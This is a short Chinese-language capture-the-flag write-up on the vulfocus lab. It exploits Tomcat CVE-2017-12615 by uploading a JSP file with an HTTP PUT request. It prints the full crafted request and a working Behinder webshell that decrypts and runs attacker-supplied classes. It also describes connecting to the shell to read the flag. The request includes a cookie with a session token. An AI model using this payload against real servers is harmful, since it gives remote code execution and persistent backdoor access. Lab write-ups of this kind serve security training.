tomcat 文件上传 (CVE-2017-12615）vulfocus夺旗

漏洞原因：

当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行

影响范围：Tomcat 7.0.0 - 7.0.81
测试：Tomcat 8.5.19

1、启动CVE-2017-12615目标靶场，并访问

2、burp抓包，并修改请求包
文件是1.sjp，内容是冰蝎的木马，请求方式改为put

• 原始请求包
  
• 修改后的请求包

PUT /1.jsp/ HTTP/1.1
Host: 123.58.236.76:57689
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1640763811,1640775017,1640775045,1640921749; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640681447,1641044574,1641123950,1641176861; ECS[visit_times]=4; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1641213978; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0MjEzLCJ1c2VybmFtZSI6IjAweW9uZ3NoaXdhbmd6aSIsImV4cCI6MTY0MTI2MzI2NCwiZW1haWwiOiIxMDcwMDg2ODgyQHFxLmNvbSJ9.aU-yjS3J_EqTEhZx8ZOSQ6SPxgSemy8XAqnFgtwX59Y
Upgrade-Insecure-Requests: 1
Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5<„M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

3、repeater进行放包，放包成功

4、访问链接，执行jsp的木马

http://123.58.236.76:57689/1.jsp

5、使用冰蝎连接

看到flag值，夺旗成功